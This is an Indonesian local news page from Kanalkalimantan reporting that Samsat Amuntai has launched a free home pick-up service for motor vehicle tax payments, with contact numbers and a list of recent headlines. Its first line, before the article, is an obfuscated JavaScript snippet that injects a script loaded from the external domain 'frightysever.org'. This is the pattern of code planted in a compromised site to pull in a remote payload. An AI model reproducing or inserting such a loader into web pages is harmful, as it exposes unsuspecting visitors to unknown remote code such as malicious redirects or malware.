(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Samsat Amuntai Luncurkan Unit Layanan Jemput Antar


AMUNTAI, Unit Pelayanan Pendapan Daerah (UPPD) Samsat Amuntai meluncurkan unit pelayanan Samsat Jemput Antar untuk masyarakat yang membutuhkan. Layanan pembayaran pajak kendaraan bermotor secara langsung tanpa harus melakukan pembayaran ke kantor Samsat.

Layanan jemput antar ini tidak dibebankan biaya administrasi, cukup hanya membayar pajak yang tertera sesuai dengan surat ketetapan pajak daerah kendaraan bermotor yang akan dibayarkan. Ini bentuk inovasi baru pelayanan setelah Samsat Amuntai meluncurkan Samsat Keliling, Samsat Desa dan Samsat Payment Point yang telah lama beroperasi.

Kepala UPPD Samsat Amuntai Faisal Rumiarsi kepada Kanalkalimantan, Kamis (21/2) mengungkapkan, program Samsat Jemput Antar ini disediakan untuk meningkatkan pelayanan kepada masyarakat yang membutuhkan pelayanan langsung di rumah.

“Kami selalu berupaya untuk memudahkan, mendekatkan dan mempercepat layanan di wilayah Kabupaten Hulu Sungai Utara,” kata Faisal.

Ia menyebut, meski progaram layanan Samsat Jemput Antar ini telah lama direncanakan, namun baru di awal tahun tepatnya tanggal 21 Februari 2019 ini diluncurkannya secara langsung kepada masyarakat.

Faisal berharap masyarakat wajib pajak kendaraan bermotor di wilayah Kabupaten HSU dapat memanfaatkan layanan Samsat jemput antar ini dengan sebaik-baiknya. Bisa menghubungi via telepon dengan nomor 0527 61040 atau 0811 500 4143. “Petugas pelayanan dapat langsung mendatangi masyarakat yang membutuhkan layanan ini,” tegasnya.

Pelayanan Samsat Jemput Antar ini untuk sementara beroperasi untuk wilayah Amuntai Tengah saja. Tetapi daerah lainnya di seluruh kecamatan di Kabupaten HSU telah terlayani dengan adanya Samsat Keliling, Samsat Desa dan Samsat Payment Point, yang beroperasi secara bergiliran setiap pekan.

“Semoga layanan ini dapat diterima dengan baik oleh masyarakat, tidak ada lagi alasan tempat yang jauh untuk menunda-nunda membayar pajak kendaraan bermotor,” pungkasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

10 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

13 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

16 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

17 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

17 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

18 jam ago

This website uses cookies.